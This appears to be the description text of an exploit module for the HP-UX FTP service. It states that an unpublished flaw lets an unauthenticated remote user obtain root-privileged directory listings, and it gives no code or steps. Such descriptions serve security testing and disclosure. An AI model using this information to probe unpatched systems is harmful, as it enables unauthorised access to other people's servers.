        This exploit abuses an unpublished vulnerability in the HP-UX FTP
        service. This flaw allows an unauthenticated remote user to obtain
        directory listings from this server with the privileges of the root
        user. This vulnerability was silently patched by HP sometime between 
		2001 and 2003.
